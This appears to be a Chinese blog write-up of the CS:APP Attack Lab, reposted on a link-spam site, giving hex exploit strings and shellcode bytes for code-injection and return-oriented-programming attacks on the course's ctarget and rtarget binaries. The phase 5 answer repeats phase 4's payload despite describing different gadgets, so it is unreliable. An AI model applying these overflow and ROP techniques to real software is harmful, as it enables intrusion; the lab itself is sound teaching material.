当前位置: 首页 > wzjs >正文

商丘三合一网站建设网站开发邮件服务器

商丘三合一网站建设,网站开发邮件服务器,wordpress文章生成分享图片插件,年终总结汇报ppt模板写在前面 Attacklab 的文件是 target1.tar,解压后可以得到一个日录,一共六个文件: cookie.txt 一个8位16进制数,作为攻击的特殊标志符farm.c 在ROP攻击中作为gadgets的产生源ctarget 代码注入攻击的目标文件rtarget ROP攻击的目…

写在前面

Attacklab 的文件是 target1.tar,解压后可以得到一个日录,一共六个文件:

  • cookie.txt 一个8位16进制数,作为攻击的特殊标志符
  • farm.c 在ROP攻击中作为gadgets的产生源
  • ctarget 代码注入攻击的目标文件
  • rtarget ROP攻击的目标文件
  • hex2raw 将16进制数转化为攻击字符,因为有些字符在屏幕上面无法输入,所以输入该字符的16进制数,自动转化为该字符

ROP是什么

  • 缓冲区溢出攻击可以采用栈随机化、栈破坏检测(金丝雀)、限制可执行代码区域这三种机制来限制(详见csapp 3.10.4)
  • 为了对抗这些机制,又出现了ROP攻击技术。
  • ROP全称为Return-oriented Programmming(面向返回的编程)是一种新型的基于代码复用技术的攻击,攻击者从已有的库或可执行文件中提取指令片段,构建恶意代码。
  • ROP攻击同缓冲区溢出攻击,格式化字符串漏洞攻击不同,是一种全新的攻击方式,它利用代码复用技术。
  • ROP的核心思想:攻击者扫描已有的动态链接库和可执行文件,提取出可以利用的指令片段(gadget),这些指令片段均以ret指令结尾,即用ret指令实现指令片段执行流的衔接。

callq 和 retq

callq函数调用指令,retq函数返回指令,它们中的 q 代表64位操作数(即操作数是8字节)。

CPU 执行 callq function指令时,相当于执行如下两步操作:

  • pushq%rip (保存rip寄存器的值到栈顶)
  • jmp function (跳转到function处执行)

CPU执行 “retq” 指令相当于执行了 “popq %rip” 指令,也就是将栈顶的数据取出放入%rip。

目标

phase_1

首先得了解一下缓冲区溢出:

C 语言的 scanf 和 gets 其实是很不安全的,如果输入数据的规模大于接收缓冲区,那么就会越界了。

level1 让我们在getbuf 溢出的时候,跳转到 touch1函数。

这个要了解一下栈帧的组织:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

函数调用者会先把返回地址压栈,然后调用函数在执行过程中按需开辟栈空间。

我们如果想要溢出后,进入touch1函数,那么我们只需把返回地址改为touch1的地址即可。

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

我们发现,getbuf开了 0x28 = 40个字节的栈空间。

那么我们只需 随便填40个字节,接下来填 touch1 的地址即可。

答案放在 phase_1.txt里:

00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
c0 17 40 00 00 00 00 00

输入即可

./hex2raw -i phase_1.txt | ./ctarget -q

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

phase_2

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

phase_2 要求 跳转到 touch2

touch2 的参数val通过 rdi 传递,并且这个值应该等于 cookie

然后限制我们只能使用ret

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

touch2的逻辑很简单,只要传入参数的值为cookie就行了。

cookie 已知是0x59b997fa (在cookie.txt内)

所以我们要做的事情是什么?

把cookie 存入 $rdi
movq $0x59b997fa, %rdi
把touch2的地址 压栈
pushq $0x4017ec
返回
ret

我们可以用 gcc 得到上面汇编代码的机器码:

48 c7 c7 fa 97 b9 59
68 ec 17 40 00
c3

因为getbuf 开了 40个字节的栈空间,所以这40个字节的开头放我们上面这三条指令。

剩下不足40字节的用0填充。

然后把 rsp 的值 放在返回地址的地方,这样溢出的时候会跳到 rsp 的位置开始执行我们的上面三条指令。

rsp 值的获取:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

答案放在 phase_2.txt里:

48 c7 c7 fa 97 b9 59
68 ec 17 40 00
c3
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00
78 dc 61 55 00 00 00 00

输入即可

./hex2raw -i phase_2.txt | ./ctarget -q

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

phase_3

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

根据提示可以知道,hexmatch 会覆盖掉 getbuf的栈空间,那么我们之前的策略就不再适用了。

不过我们还是先来考虑注入什么代码

  • 把 存放cookie字符串的地址存入 $rdi
  • 把 touch3的地址压栈
  • ret

我们发现,关键问题在于这段代码放在哪?字符串放在哪?

因为 test 调用了getbuf,而getbuf 开了40个字节的栈空间,那么过了这40个字节,再往上就是 test 的栈空间

我们可以利用test 的栈空间!

已知 getbuf 的 rsp = 0x5561dc78

因为栈向下增长,所以 test 的 rsp = 0x5561dc78 + 0x28 = 0x5561dca0

那么我们可以把 注入代码放在 0x5561dca0的位置

目标字符串放在 0x5561dca8的位置

可以得出注入代码为:

mov    $0x5561dca8,%rdi
pushq  $0x4018fa
ret

利用gcc -c获取机器码

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

把答案放入 phase_3.txt:

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
b8 dc 61 55 00 00 00 00
35 39 62 39 39 37 66 61
00 00 00 00 00 00 00 00
48 c7 c7 a8 dc 61 55
68 fa 18 40 00
c3 00 00 00

运行

 ./hex2raw -i phase_3.txt | ./ctarget -q

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

phase_4

首先要了解下 Retrun-Oriented Programming

前面三个phase 我们都是通过代码注入,来进行攻击。

但是有一个问题,ctarget 的栈地址固定,而 rtarget 采用了三种技术来阻止代码注入攻击:

  1. 随机栈偏移。这让我们很难找到程序的地址
  2. 栈破坏检查。现在的编译器(如gcc)会在生成可执行文件时加入安全策略,其思路是:在栈帧中任何局部缓冲区和栈状态之间存储一个特殊的金丝雀值。该值从一个内存地址中选择,在恢复寄存器状态和从函数返回之前,程序检查这个金丝雀值是否被改变。如果被改变,说明栈被破坏过,程序直接异常终止。(不过在这次实验中并没有开启这个机制,因为之后的实验还是需要依靠溢出。)
  3. 标记为不可执行区域。这使得我们的攻击代码无法被执行。

此时我们不能通过代码注入的方式来进行攻击了,pdf 中介绍了 ROP 这种方式。

汇编指令就是一些二进制机器码,我们通过机器码的片段,是可以组合出我们想要的指令的。

我们把栈中放上很多地址,而每次ret都会到一个Gadget(小的代码片段,并且会ret),这样就可以形成一个程序链。通过将程序自身(./rtarget)的指令来完成我们的目的。

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

  • 在这个phase,保证了我们想要的gadgets 都可以在rtarget中组合出来。
  • 然后限制了我们只能用两个gadgets
  • 当一个小gadgets使用pop指令。你的exploit string中必须含有一个地址和data。

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

pdf中给了一个encoding表。

我们现在想要跳到touch2,需要把 cookie 传入 rdi

而cookie 本身得先放到一个寄存器

所以思路就是:

  • getbuf 的返回地址起始地址,我们让其返回到一个 popq %rax ; ret
  • 然后把 cookie getbuf 的返回地址起始地址的下一行,这样在调用 popq %rax的时候,会把cookie弹入 rax
  • 然后 再下一行,填一个 movq %rax, %rdi ; ret;的地址
  • 再下一行,放touch2的地址

答案放入 phase_4.txt:

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
ab 19 40 00 00 00 00 00
fa 97 b9 59 00 00 00 00
a2 19 40 00 00 00 00 00
ec 17 40 00 00 00 00 00

执行

./hex2raw -i phase_4.txt | ./rtarget -q

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

phase_5

和 phase_3 一样,我们需要做的就是把字符串的起始地址,传送到%rdi,然后调用touch3。

前面已经知道hexmatch会覆盖掉 getbuf的栈空间,所以我们要借助test的栈帧来放置字符串。

因为栈随机化,所以我们无法直接定位字符串的位置。

我们可以先获取 %rsp的地址,然后根据偏移量来计算 字符串起始地址

思路:

  • 首先获取 %rsp的地址,并且传送到%rdi
    • 外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

    • movq %rsp, %rax 地址为 0x401a06

  • 然后获取到字符串的偏移量值,并且传送到%rsi
    • 外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

    • movq %rax, %rdi 地址为 0x4019a2

  • lea (%rdi,%rsi,1), %rax,将字符串的首地址传送到%rax,再传送到%rdi
    • 外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

    • popq %rax 地址为 0x4019cc

  • 最后调用touch3函数
    • 外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

    • movl %eax, %edx 的地址为 0x4019dd

答案放入 phase_5.txt:

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
ab 19 40 00 00 00 00 00
fa 97 b9 59 00 00 00 00
a2 19 40 00 00 00 00 00
ec 17 40 00 00 00 00 00
35 39 62 39 39 37 66 61
00 00 00 00 00 00 00 00

执行

./hex2raw -i phase_5.txt | ./rtarget -q

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传


文章转载自:

http://QDvojv7h.nfbnL.cn
http://VqsjgiWg.nfbnL.cn
http://vaTw5HC4.nfbnL.cn
http://RcObhKSs.nfbnL.cn
http://cCm806pO.nfbnL.cn
http://4jblYgak.nfbnL.cn
http://gTlPcLDU.nfbnL.cn
http://Bcksx2Q5.nfbnL.cn
http://Li9Rr8Gt.nfbnL.cn
http://cpon74ko.nfbnL.cn
http://2qhpw0rD.nfbnL.cn
http://pexMUeIR.nfbnL.cn
http://nAfCJrjm.nfbnL.cn
http://duu1AQdY.nfbnL.cn
http://ddCDXJu8.nfbnL.cn
http://vDhj5gsX.nfbnL.cn
http://1nmO0fxU.nfbnL.cn
http://rmqjIKt6.nfbnL.cn
http://K70iZUNP.nfbnL.cn
http://49KXbaIr.nfbnL.cn
http://xIoD3nFX.nfbnL.cn
http://SuWoqlWt.nfbnL.cn
http://gaVcOT2Q.nfbnL.cn
http://Tn2OKCbM.nfbnL.cn
http://KlYKO4m9.nfbnL.cn
http://CVZMIBhd.nfbnL.cn
http://Olzfy6EZ.nfbnL.cn
http://Smrn6VOJ.nfbnL.cn
http://yLoBhGxG.nfbnL.cn
http://iQAcaol3.nfbnL.cn
http://www.dtcms.com/wzjs/700316.html

相关文章:

  • 网站设置路由器做戒烟网站素材
  • 电子商务网站建设的首要问题多网站后台问题
  • 网站开发者 地图品牌建设的五个要素
  • 石家庄论坛建站模板wordpress主题 m1
  • 网站推广包含哪些方法wordpress cx udy主题
  • 深圳公司注册服务青岛网站排名优化公司哪家好
  • 建站 discuz网站的风格
  • 爱站网官网查询域名可以做装修效果图的网站有哪些
  • 作弊的网站广州云建站模板
  • 怎么做网站卖保险汕头免费建站哪里有
  • 如何做盗版电影网站商城网站一般用什么做二次开发
  • 建设网站建设方案服装网站建设的目的
  • 飞鸽网站建设wordpress 响应式 企业网站
  • 关于网站建设的博客WordPress上传后找不到
  • 房地产网站建设哪家好优秀的定制网站建设公司
  • 门户网站设计装修网站怎么做的
  • 电子商务网站设计岗位主要是比较有名的diy制作网站
  • 做网站公司汉狮网络semiconductor
  • 做一个网站花2万贵吗wordpress 密码失败
  • 做购物比价的网站有哪些网站建设怎么样工作室
  • 上海做网站比较有名的公司有哪些下载牛霸软件
  • 响应式网站解决方案查询网站的外链
  • 常州城投建设工程招标有限公司网站wordpress安装一下
  • 仙居网站开发东莞市专注网站建设公司
  • 免费网站注册申请电子商务网站调研报告
  • 手机怎么建立自己网站太原百度快照优化排名
  • 顺义区专业网站制作网站建设重庆seo海洋qq
  • 宁波网站优化公司哪家好提升学历励志语录
  • 十大免费货源网站免费版权新开传奇网站999新服网
  • 宜兴网站设计网站改版要重新备案